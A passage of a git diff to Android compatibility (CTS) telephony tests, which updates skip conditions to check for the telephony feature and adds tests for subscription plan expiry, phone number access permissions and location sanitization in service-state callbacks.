         final String fileName = "send." + String.valueOf(Math.abs(mRandom.nextLong())) + ".dat";
@@ -213,14 +225,15 @@
         final PendingIntent pendingIntent = PendingIntent.getBroadcast(
                 context, 0, new Intent(ACTION_MMS_SENT), PendingIntent.FLAG_MUTABLE);
         if (messageId == 0L) {
-            SmsManager.getDefault().sendMultimediaMessage(context,
+            smsManager.sendMultimediaMessage(context,
                     contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
         } else {
-            SmsManager.getDefault().sendMultimediaMessage(context,
+            smsManager.sendMultimediaMessage(context,
                     contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent,
                     messageId);
         }
         assertTrue(mSentReceiver.waitForSuccess(SENT_TIMEOUT));
+        assertTrue(mSentReceiver.getResultCode() == expectedErrorResultCode);
         sendFile.delete();
     }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
index 5c9d8b9..0fbfc5a 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
@@ -26,6 +26,7 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.os.Handler;
 import android.os.HandlerThread;
@@ -107,6 +108,7 @@
     private static ConnectivityManager mCm;
     private HandlerThread mHandlerThread;
     private Handler mHandler;
+    private PackageManager mPackageManager;
     private static final List<Integer> DATA_CONNECTION_STATE = Arrays.asList(
             TelephonyManager.DATA_CONNECTED,
             TelephonyManager.DATA_DISCONNECTED,
@@ -142,6 +144,7 @@
         mHandlerThread = new HandlerThread("PhoneStateListenerTest");
         mHandlerThread.start();
         mHandler = new Handler(mHandlerThread.getLooper());
+        mPackageManager = getContext().getPackageManager();
     }
 
     @After
@@ -279,53 +282,6 @@
         assertTrue(mOnSignalStrengthChangedCalled);
     }
 
-     /**
-     * Due to the corresponding API is hidden in R and will be public in S, this test
-     * is commented and will be un-commented in Android S.
-     *
-    @Test
-    public void testOnAlwaysReportedSignalStrengthChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        assertTrue(mSignalStrength == null);
-
-        mHandler.post(() -> {
-            mListener = new PhoneStateListener() {
-                @Override
-                public void onSignalStrengthsChanged(SignalStrength signalStrength) {
-                    synchronized (mLock) {
-                        mSignalStrength = signalStrength;
-                        mLock.notify();
-                    }
-                }
-            };
-            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                    (tm) -> tm.listen(mListener,
-                            PhoneStateListener.LISTEN_ALWAYS_REPORTED_SIGNAL_STRENGTH));
-        });
-        synchronized (mLock) {
-            if (mSignalStrength == null) {
-                mLock.wait(WAIT_TIME);
-            }
-        }
-
-        assertTrue(mSignalStrength != null);
-        // Call SignalStrength methods to make sure they do not throw any exceptions
-        mSignalStrength.getCdmaDbm();
-        mSignalStrength.getCdmaEcio();
-        mSignalStrength.getEvdoDbm();
-        mSignalStrength.getEvdoEcio();
-        mSignalStrength.getEvdoSnr();
-        mSignalStrength.getGsmBitErrorRate();
-        mSignalStrength.getGsmSignalStrength();
-        mSignalStrength.isGsm();
-        mSignalStrength.getLevel();
-    }
-    */
-
     @Test
     public void testOnSignalStrengthsChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -445,8 +401,8 @@
 
     @Test
     public void testOnPreciseCallStateChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
         assertThat(mOnPreciseCallStateChangedCalled).isFalse();
@@ -480,8 +436,8 @@
 
     @Test
     public void testOnCallDisconnectCauseChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
         assertThat(mOnCallDisconnectCauseChangedCalled).isFalse();
@@ -512,8 +468,8 @@
 
     @Test
     public void testOnImsCallDisconnectCauseChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
         assertThat(mOnImsCallDisconnectCauseChangedCalled).isFalse();
@@ -543,8 +499,8 @@
 
     @Test
     public void testOnPhoneStateListenerExecutorWithSrvccChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
         assertThat(mSrvccStateChangedCalled).isFalse();
@@ -575,8 +531,8 @@
 
     @Test
     public void testOnRadioPowerStateChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
         assertThat(mOnRadioPowerStateChangedCalled).isFalse();
@@ -643,8 +599,8 @@
 
     @Test
     public void testOnPreciseDataConnectionStateChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
         assertThat(mOnCallDisconnectCauseChangedCalled).isFalse();
@@ -953,8 +909,8 @@
 
     @Test
     public void testOnOutgoingSmsEmergencyNumberChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
index eaa6b7d..15d0635 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
@@ -15,11 +15,11 @@
  */
 package android.telephony.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
 
-import static com.google.common.truth.Truth.assertThat;
-
 import android.telephony.AccessNetworkConstants;
 import android.telephony.PhysicalChannelConfig;
 import android.telephony.ServiceState;
@@ -28,7 +28,6 @@
 import org.junit.Before;
 import org.junit.Test;
 
-
 public class PhysicalChannelConfigTest {
 
     private static final int[] CONTEXT_IDS = new int[] {123, 555, 1, 0};
@@ -81,8 +80,7 @@
                     .setBand(BAND)
                     .build();
             fail("Physical cell Id: 1008 is over limit");
-        } catch (IllegalArgumentException e) {
-        }
+        } catch (IllegalArgumentException expected) { }
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/RouteSelectionDescriptorTest.java b/tests/tests/telephony/current/src/android/telephony/cts/RouteSelectionDescriptorTest.java
index 7a76502..0b12c46 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/RouteSelectionDescriptorTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/RouteSelectionDescriptorTest.java
@@ -21,7 +21,7 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
-import android.hardware.radio.V1_6.SliceInfo;
+import android.telephony.data.NetworkSliceInfo;
 import android.telephony.data.RouteSelectionDescriptor;
 
 import org.junit.Test;
@@ -36,8 +36,8 @@
 
     @Test
     public void testConstructorAndGetters() {
-        List<SliceInfo> si = new ArrayList<SliceInfo>();
-        List<String> dnn = new ArrayList<String>();
+        List<NetworkSliceInfo> si = new ArrayList<>();
+        List<String> dnn = new ArrayList<>();
         RouteSelectionDescriptor rsd = new RouteSelectionDescriptor(
                 TEST_PRECEDENCE, TEST_SESSION_TYPE, TEST_SSC_MODE, si, dnn);
         assertThat(rsd.getPrecedence()).isEqualTo(TEST_PRECEDENCE);
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/StubInCallService.java b/tests/tests/telephony/current/src/android/telephony/cts/StubInCallService.java
deleted file mode 100644
index 51491d2..0000000
--- a/tests/tests/telephony/current/src/android/telephony/cts/StubInCallService.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import android.telecom.InCallService;
-
-/**
- * A in call service that does nothing except allowing CTS telephony to be set as a default dialer
- */
-public class StubInCallService extends InCallService {
-
-}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 0e34d97..e5d45d1 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -58,6 +58,7 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.CarrierPrivilegeUtils;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.TestThread;
@@ -89,7 +90,8 @@
 public class SubscriptionManagerTest {
     private static final String TAG = "SubscriptionManagerTest";
     private static final String MODIFY_PHONE_STATE = "android.permission.MODIFY_PHONE_STATE";
-    private SubscriptionManager mSm;
+    private static final String READ_PRIVILEGED_PHONE_STATE =
+            "android.permission.READ_PRIVILEGED_PHONE_STATE";
     private static final List<Uri> CONTACTS = new ArrayList<>();
     static {
         CONTACTS.add(Uri.fromParts("tel", "+16505551212", null));
@@ -101,9 +103,14 @@
     private static final int SUBSCRIPTION_DISABLE_WAIT_MS = 5000;
     private static final int SUBSCRIPTION_ENABLE_WAIT_MS = 50000;
 
+    // time to wait for subscription plans to expire
+    private static final int SUBSCRIPTION_PLAN_EXPIRY_MS = 50;
+    private static final int SUBSCRIPTION_PLAN_CLEAR_WAIT_MS = 5000;
+
     private int mSubId;
     private int mDefaultVoiceSubId;
     private String mPackageName;
+    private SubscriptionManager mSm;
 
     /**
      * Callback used in testRegisterNetworkCallback that allows caller to block on
@@ -237,8 +244,10 @@
     public void testActiveSubscriptions() throws Exception {
         if (!isSupported()) return;
 
-        List<SubscriptionInfo> subList = mSm.getActiveSubscriptionInfoList();
-        int[] idList = mSm.getActiveSubscriptionIdList();
+        List<SubscriptionInfo> subList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
+                (sm) -> sm.getActiveSubscriptionInfoList());
+        int[] idList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
+                (sm) -> sm.getActiveSubscriptionIdList());
         // Assert when there is no sim card present or detected
         assertNotNull("Active subscriber required", subList);
         assertNotNull("Active subscriber required", idList);
@@ -274,6 +283,12 @@
         mSm.setSubscriptionPlans(mSubId, Arrays.asList(plan));
         assertEquals(Arrays.asList(plan), mSm.getSubscriptionPlans(mSubId));
 
+        // Push plan with expiration time and verify that it expired
+        mSm.setSubscriptionPlans(mSubId, Arrays.asList(plan), SUBSCRIPTION_PLAN_EXPIRY_MS);
+        Thread.sleep(SUBSCRIPTION_PLAN_EXPIRY_MS);
+        Thread.sleep(SUBSCRIPTION_PLAN_CLEAR_WAIT_MS);
+        assertTrue(mSm.getSubscriptionPlans(mSubId).isEmpty());
+
         // Now revoke our access
         setSubPlanOwner(mSubId, null);
         try {
@@ -345,6 +360,35 @@
     }
 
     @Test
+    public void testSubscriptionInfoRecord() {
+        if (!isSupported() || !isAutomotive()) return;
+
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        uiAutomation.adoptShellPermissionIdentity();
+        String uniqueId = "00:01:02:03:04:05";
+        String displayName = "device_name";
+        mSm.addSubscriptionInfoRecord(uniqueId, displayName, 0,
+                SubscriptionManager.SUBSCRIPTION_TYPE_REMOTE_SIM);
+        assertNotNull(mSm.getActiveSubscriptionInfoForIcc(uniqueId));
+        mSm.removeSubscriptionInfoRecord(uniqueId,
+                SubscriptionManager.SUBSCRIPTION_TYPE_REMOTE_SIM);
+        assertNull(mSm.getActiveSubscriptionInfoForIcc(uniqueId));
+        uiAutomation.dropShellPermissionIdentity();
+
+        // Testing permission fail
+        try {
+            mSm.addSubscriptionInfoRecord(uniqueId, displayName, 0,
+                    SubscriptionManager.SUBSCRIPTION_TYPE_REMOTE_SIM);
+            mSm.removeSubscriptionInfoRecord(uniqueId,
+                    SubscriptionManager.SUBSCRIPTION_TYPE_REMOTE_SIM);
+            fail("SecurityException should be thrown without MODIFY_PHONE_STATE");
+        } catch (SecurityException expected) {
+            // expected
+        }
+
+    }
+
+    @Test
     public void testSetDefaultVoiceSubId() {
         if (!isSupported()) return;
 
@@ -1084,6 +1128,93 @@
         uiAutomation.dropShellPermissionIdentity();
     }
 
+    @Test
+    public void tetsSetAndGetPhoneNumber() throws Exception {
+        if (!isSupported()) return;
+
+        // The phone number may be anything depends on the state of SIM and device.
+        // Simply call the getter and make sure no exception.
+
+        // Getters accessiable with READ_PRIVILEGED_PHONE_STATE
+        try {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity(READ_PRIVILEGED_PHONE_STATE);
+
+            mSm.getPhoneNumber(mSubId);
+            mSm.getPhoneNumber(mSubId, SubscriptionManager.PHONE_NUMBER_SOURCE_UICC);
+            mSm.getPhoneNumber(mSubId, SubscriptionManager.PHONE_NUMBER_SOURCE_CARRIER);
+            mSm.getPhoneNumber(mSubId, SubscriptionManager.PHONE_NUMBER_SOURCE_IMS);
+
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+        }
+
+        // Getters accessiable with READ_PHONE_NUMBERS
+        try {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity(android.Manifest.permission.READ_PHONE_NUMBERS);
+
+            mSm.getPhoneNumber(mSubId);
+            mSm.getPhoneNumber(mSubId, SubscriptionManager.PHONE_NUMBER_SOURCE_UICC);
+            mSm.getPhoneNumber(mSubId, SubscriptionManager.PHONE_NUMBER_SOURCE_CARRIER);
+            mSm.getPhoneNumber(mSubId, SubscriptionManager.PHONE_NUMBER_SOURCE_IMS);
+
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+        }
+
+        // Getters and the setter accessiable with carrier privilege
+        final String carrierNumber = "1234567890";
+        CarrierPrivilegeUtils.withCarrierPrivileges(
+                InstrumentationRegistry.getContext(),
+                mSubId,
+                () -> {
+                    mSm.getPhoneNumber(mSubId);
+                    mSm.getPhoneNumber(mSubId, SubscriptionManager.PHONE_NUMBER_SOURCE_UICC);
+                    mSm.getPhoneNumber(mSubId, SubscriptionManager.PHONE_NUMBER_SOURCE_IMS);
+
+                    mSm.setCarrierPhoneNumber(mSubId, carrierNumber);
+                    assertEquals(
+                            carrierNumber,
+                            mSm.getPhoneNumber(
+                                    mSubId, SubscriptionManager.PHONE_NUMBER_SOURCE_CARRIER));
+                });
+
+        // Otherwise, getter and setter will hit SecurityException
+        try {
+            mSm.getPhoneNumber(mSubId);
+            fail("Expect SecurityException from getPhoneNumber()");
+        } catch (SecurityException e) {
+            // expected
+        }
+        try {
+            mSm.getPhoneNumber(mSubId, SubscriptionManager.PHONE_NUMBER_SOURCE_UICC);
+            fail("Expect SecurityException from getPhoneNumber()");
+        } catch (SecurityException e) {
+            // expected
+        }
+        try {
+            mSm.getPhoneNumber(mSubId, SubscriptionManager.PHONE_NUMBER_SOURCE_IMS);
+            fail("Expect SecurityException from getPhoneNumber()");
+        } catch (SecurityException e) {
+            // expected
+        }
+        try {
+            mSm.getPhoneNumber(mSubId, SubscriptionManager.PHONE_NUMBER_SOURCE_CARRIER);
+            fail("Expect SecurityException from getPhoneNumber()");
+        } catch (SecurityException e) {
+            // expected
+        }
+        try {
+            mSm.setCarrierPhoneNumber(mSubId, "987");
+            fail("Expect SecurityException from setCarrierPhoneNumber()");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
     @Nullable
     private PersistableBundle getBundleFromBackupData(byte[] data) {
         try (ByteArrayInputStream bis = new ByteArrayInputStream(data)) {
@@ -1220,6 +1351,11 @@
                 .hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
     }
 
+    private static boolean isAutomotive() {
+        return InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
     private static boolean isDSDS() {
         TelephonyManager tm = InstrumentationRegistry.getContext()
                 .getSystemService(TelephonyManager.class);
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
index 9704813..a2de857 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
@@ -28,6 +28,7 @@
 
 import android.annotation.NonNull;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.os.Handler;
 import android.os.HandlerThread;
@@ -39,6 +40,7 @@
 import android.telephony.CellInfo;
 import android.telephony.CellLocation;
 import android.telephony.LinkCapacityEstimate;
+import android.telephony.NetworkRegistrationInfo;
 import android.telephony.PhysicalChannelConfig;
 import android.telephony.PreciseCallState;
 import android.telephony.PreciseDataConnectionState;
@@ -51,7 +53,9 @@
 import android.telephony.TelephonyManager.DataEnabledReason;
 import android.telephony.emergency.EmergencyNumber;
 import android.telephony.ims.ImsReasonInfo;
+import android.text.TextUtils;
 import android.util.Log;
+import android.util.Pair;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -100,6 +104,7 @@
     private int mRadioPowerState;
     @SimActivationState
     private int mVoiceActivationState;
+    private ServiceState mServiceState;
     private boolean mOnAllowedNetworkTypesChangedCalled;
     private int mAllowedNetworkTypeReason = -1;
     private long mAllowedNetworkTypeValue = -1;
@@ -109,10 +114,11 @@
     private SignalStrength mSignalStrength;
     private TelephonyManager mTelephonyManager;
     private final Object mLock = new Object();
-    private static final String TAG = "android.telephony.cts.TelephonyCallbackTest";
+    private static final String TAG = "TelephonyCallbackTest";
     private static ConnectivityManager mCm;
     private HandlerThread mHandlerThread;
     private Handler mHandler;
+    private PackageManager mPackageManager;
     private static final List<Integer> DATA_CONNECTION_STATE = Arrays.asList(
             TelephonyManager.DATA_CONNECTED,
             TelephonyManager.DATA_DISCONNECTED,
@@ -133,12 +139,7 @@
             PreciseCallState.PRECISE_CALL_STATE_WAITING
     );
 
-    private Executor mSimpleExecutor = new Executor() {
-        @Override
-        public void execute(Runnable r) {
-            r.run();
-        }
-    };
+    private final Executor mSimpleExecutor = Runnable::run;
 
     @Before
     public void setUp() throws Exception {
@@ -148,6 +149,7 @@
         mHandlerThread = new HandlerThread("TelephonyCallbackTest");
         mHandlerThread.start();
         mHandler = new Handler(mHandlerThread.getLooper());
+        mPackageManager = getContext().getPackageManager();
     }
 
     @After
@@ -177,6 +179,12 @@
         mTelephonyManager.registerTelephonyCallback(mSimpleExecutor, callback);
     }
 
+    private void registerTelephonyCallback(@NonNull TelephonyCallback callback,
+            boolean renounceFine, boolean renounceCoarse) {
+        mTelephonyManager.registerTelephonyCallback(renounceFine, renounceCoarse, mSimpleExecutor,
+                callback);
+    }
+
     private void unRegisterTelephonyCallback(boolean condition,
                                              @NonNull TelephonyCallback callback) throws Exception {
         synchronized (mLock) {
@@ -196,6 +204,7 @@
         public void onServiceStateChanged(ServiceState serviceState) {
             synchronized (mLock) {
                 mOnServiceStateChangedCalled = true;
+                mServiceState = serviceState;
                 mLock.notify();
             }
         }
@@ -227,6 +236,103 @@
     }
 
     @Test
+    public void testOnServiceStateChangedByRegisterTelephonyCallbackWithLocationRenounce()
+            throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertFalse(mOnServiceStateChangedCalled);
+
+        mHandler.post(() -> {
+            mServiceStateCallback = new ServiceStateListener();
+            registerTelephonyCallback(mServiceStateCallback, true, true);
+        });
+        synchronized (mLock) {
+            if (!mOnServiceStateChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnServiceStateChangedCalled);
+        assertServiceStateLocationSanitization(mServiceState);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnServiceStateChangedCalled, mServiceStateCallback);
+    }
+
+    @Test
+    public void testOnServiceStateChangedByRegisterTelephonyCallbackWithCoarseRenounce()
+            throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertFalse(mOnServiceStateChangedCalled);
+        mHandler.post(() -> {
+            mServiceStateCallback = new ServiceStateListener();
+            registerTelephonyCallback(mServiceStateCallback, false, true);
+        });
+        synchronized (mLock) {
+            if (!mOnServiceStateChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnServiceStateChangedCalled);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnServiceStateChangedCalled, mServiceStateCallback);
+    }
+
+    @Test
+    public void testOnServiceStateChangedByRegisterTelephonyCallbackWithFineOnlyRenounce()
+            throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertFalse(mOnServiceStateChangedCalled);
+
+        mHandler.post(() -> {
+            mServiceStateCallback = new ServiceStateListener();
+            registerTelephonyCallback(mServiceStateCallback, true, false);
+        });
+        synchronized (mLock) {
+            if (!mOnServiceStateChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnServiceStateChangedCalled);
+        assertServiceStateFineLocationSanitization(mServiceState);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnServiceStateChangedCalled, mServiceStateCallback);
+    }
+
+    private void assertServiceStateFineLocationSanitization(ServiceState state) {
+        if (state == null) return;
+
+        if (state.getNetworkRegistrationInfoList() != null) {
+            for (NetworkRegistrationInfo nrs : state.getNetworkRegistrationInfoList()) {
+                assertNull(nrs.getCellIdentity());
+            }
+        }
+    }
+
+    private void assertServiceStateLocationSanitization(ServiceState state) {
+        if (state == null) return;
+        assertServiceStateFineLocationSanitization(state);
+        assertTrue(TextUtils.isEmpty(state.getOperatorAlphaLong()));
+        assertTrue(TextUtils.isEmpty(state.getOperatorAlphaShort()));
+        assertTrue(TextUtils.isEmpty(state.getOperatorNumeric()));
+    }
+
+    @Test
     public void testOnUnRegisterFollowedByRegisterTelephonyCallback() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
             Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
@@ -380,8 +486,8 @@
 
     @Test
     public void testOnPreciseCallStateChangedByRegisterTelephonyCallback() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
         assertThat(mOnPreciseCallStateChangedCalled).isFalse();
@@ -424,8 +530,8 @@
 
     @Test
     public void testOnCallDisconnectCauseChangedByRegisterTelephonyCallback() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
         assertThat(mOnCallDisconnectCauseChangedCalled).isFalse();
@@ -463,8 +569,8 @@
 
     @Test
     public void testOnImsCallDisconnectCauseChangedByRegisterTelephonyCallback() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
         assertThat(mOnImsCallDisconnectCauseChangedCalled).isFalse();
@@ -501,9 +607,9 @@
     }
 
     @Test
-    public void testOSrvccStateChangedByRegisterTelephonyCallback() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+    public void testOnSrvccStateChangedByRegisterTelephonyCallback() throws Throwable {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
         assertThat(mSrvccStateChangedCalled).isFalse();
@@ -518,7 +624,7 @@
                 mLock.wait(WAIT_TIME);
             }
         }
-        Log.d(TAG, "testOSrvccStateChangedByRegisterTelephonyCallback");
+        Log.d(TAG, "testOnSrvccStateChangedByRegisterTelephonyCallback");
 
         assertThat(mSrvccStateChangedCalled).isTrue();
 
@@ -542,8 +648,8 @@
 
     @Test
     public void testOnRadioPowerStateChangedByRegisterTelephonyCallback() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
         assertThat(mOnRadioPowerStateChangedCalled).isFalse();
@@ -650,8 +756,8 @@
     @Test
     public void testOnPreciseDataConnectionStateChangedByRegisterTelephonyCallback()
             throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
         assertThat(mOnCallDisconnectCauseChangedCalled).isFalse();
@@ -1247,8 +1353,7 @@
     private class PhysicalChannelConfigListener extends TelephonyCallback
             implements TelephonyCallback.PhysicalChannelConfigListener {
         @Override
-        public void onPhysicalChannelConfigChanged(
-                @NonNull List<PhysicalChannelConfig> configs) {
+        public void onPhysicalChannelConfigChanged(@NonNull List<PhysicalChannelConfig> configs) {
             synchronized (mLock) {
                 mOnPhysicalChannelConfigCalled = true;
                 mLock.notify();
@@ -1258,15 +1363,30 @@
 
     @Test
     public void testOnPhysicalChannelConfigChanged() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return;
+        }
+
+        Pair<Integer, Integer> radioVersion = mTelephonyManager.getRadioHalVersion();
+        // 1.2+ or 1.6 with CAPABILITY_PHYSICAL_CHANNEL_CONFIG_1_6_SUPPORTED or 2.0+
+        boolean physicalChannelConfigSupported;
+        if (radioVersion.first == 1 && radioVersion.second == 6) {
+            physicalChannelConfigSupported = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.isRadioInterfaceCapabilitySupported(
